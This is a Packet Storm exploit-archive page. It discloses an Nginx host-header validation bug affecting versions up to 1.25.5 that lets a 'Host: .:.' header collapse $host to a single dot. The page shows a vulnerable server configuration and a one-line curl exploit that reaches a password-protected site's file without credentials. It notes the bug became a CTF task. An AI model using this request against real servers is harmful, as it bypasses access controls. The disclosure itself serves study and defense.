exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nginx 1.25.5 Host Header Validation

Nginx 1.25.5 Host Header Validation
Posted Apr 24, 2024
Authored by dhteam

Nginx versions 1.25.5 and below appear to have a host header filtering validation bug that could possibly be used for malice.

tags | exploit
SHA-256 | 827499ce948db348650ea46da73de3be64bef78d4325b8fb47b1f8a618d514f3

Nginx 1.25.5 Host Header Validation

Change Mirror Download
# Nginx =< 1.25.5 $host variable validation bug

## Intro:

In the "Host" header sent to Nginx web server you can't just insert a dot or something like that, because a filtering rules exists there.
The ngx_http_validate_host function is responsible for filtering (https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c#L2145).

## What it validates:

+ two dots in a row are not allowed
+ colon and everything after it are stripped off
+ if "Host" header starts with "[", then after "]" everything is deleted
+ path separators are not allowed
+ cannot send chars ≤ 0x20 and == 0x7f
+ if there is a dot at the end, it is removed
+ if after all deletions the host length is zero, error occurs

## The bug itself:

dot_pos can be greater than host_len, if the last dot is included in the strip, then the last unstripped character (first dot in this case) is not deleted.

So, if "Host" header payload is .:. , the colon and dot after it are stripped, but the first dot remains untouched and Nginx $host variable now contains only single dot character, what can't be done in the normal conditions.

## Vulnerable Nginx server configuration example:

server {
root /sites/$host;
index index.html;
server_name _;

location / {
try_files $uri $uri/ =404;
}
}

server {
server_name "";

location / {
return 418 "I'm a teapot.";
}
}

server {
root /sites/protected-host.example.com;
index flag.html;
server_name protected-host.example.com;
auth_basic "Protected File Storage";
auth_basic_user_file /.htpasswd;

location / {
try_files $uri $uri/ =404;
}
}

## Exploit (unauthorized access to password-protected host in this case):

curl -H "Host: .:." http://protected-host.example.com/protected-host.example.com/flag.html

P.S.
The bug was sent to security-alert@nginx.org, but the Nginx dev team said that ngx_http_validate_host function is a filter against fools and not a security bug at all, so it was decided to make it as a task on CTF Tinkoff contest.



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close